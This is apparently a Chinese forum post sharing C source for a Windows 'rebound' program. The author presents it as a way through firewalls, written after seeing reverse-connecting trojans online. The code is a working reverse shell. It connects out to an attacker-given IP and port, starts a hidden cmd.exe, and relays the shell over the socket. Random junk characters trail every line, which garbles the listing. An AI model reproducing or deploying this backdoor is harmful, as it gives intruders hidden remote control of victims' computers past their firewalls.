这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 PdVx&BL*
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/* ============================== .eg'Z@o
Rebound port in Windows NT zO\_^A|8H
By wind,2006/7 ]S s63Vd
===============================*/ 9)]`le
#include d*Su
c
#include q6$6:L,<
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#pragma comment(lib,"wsock32.lib") }NwmZw>_
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void OutputShell(); 9 c9$cnQ
SOCKET sClient; w^&UMX}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r+[g.`
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void main(int argc,char **argv) EeQ8Uxb7
{ !gRU;ZQU_
WSADATA stWsaData; -u%o) ;B
int nRet; CPNV\qCY
SOCKADDR_IN stSaiClient,stSaiServer; :RB7#v={
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if(argc != 3) W`_Wi*z4
{ I:=!,4S;
printf("Useage:\n\rRebound DestIP DestPort\n"); lY`WEu
return; vFJ4`Gjw(
} M<Z#4Gg#4
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WSAStartup(MAKEWORD(2,2),&stWsaData); EB+4]MsD
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wjX0r7^@
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stSaiClient.sin_family = AF_INET; X
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stSaiClient.sin_port = htons(0); b9.7j!W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hZ<FCY,/?
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T^|6{ S\
{ tJd/uQJ
printf("Bind Socket Failed!\n"); I
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return; w{;bvq%lY
} GF<SQHL,
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stSaiServer.sin_family = AF_INET; o~:({
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UG}"OBg/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W}(xE?9&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9Kz}
{ QE;,mC>
printf("Connect Error!"); &s.-p_4w^D
return; `$;%%/tx
} G
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OutputShell(); :VRQd}$Pi
} ^jo*e,y:
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void OutputShell() 7&|&y
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{ F+Hmp\rM#
char szBuff[1024]; J72kjj&C
SECURITY_ATTRIBUTES stSecurityAttributes; U3>ES"N
OSVERSIONINFO stOsversionInfo; %8%0l*n'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @q" #.?>s
STARTUPINFO stStartupInfo; 8`w#)6(V
char *szShell; ve/|"RB
PROCESS_INFORMATION stProcessInformation; ^''3}<Ep
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (TGG?V
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0s%{m<
stSecurityAttributes.lpSecurityDescriptor = 0; 9;pD0h|
stSecurityAttributes.bInheritHandle = TRUE; +-:G+9L@
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); { r8H5X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z"@UNypc,
b;(BMO,(
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *3Ci4\Ew
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pB]+c%\
stStartupInfo.wShowWindow = SW_HIDE; N^tH&\G\m
stStartupInfo.hStdInput = hReadPipe; RZKczZGZg
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #>\8m+h 9
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GetVersionEx(&stOsversionInfo); :,dO7dJi
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switch(stOsversionInfo.dwPlatformId) {{4Sgb
{ ww{07g
case 1: Jro%zZle
szShell = "command.com"; ZzO.s$
break; RV+0C&0ff
default: /3v`2=b
szShell = "cmd.exe"; |/35c0IM
break; < G:G/
} uzUZuJ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q]o^Y
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send(sClient,szMsg,77,0); FY;R0+N
while(1) "@)9$-g
{ js\|xfDxP
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }xM >F%
if(lBytesRead) >)PcK
{ dg]: JU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); G+xdh
send(sClient,szBuff,lBytesRead,0); P ".[=h
} eyGY8fF8$
else `[Xff24(eb
{ f'<MDLl
lBytesRead=recv(sClient,szBuff,1024,0); zcNv T
if(lBytesRead<=0) break; ^.@BD4/RPt
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /?j
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} YAf`Fnmw
} S20L@e"U
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return; S @'fmjA'
}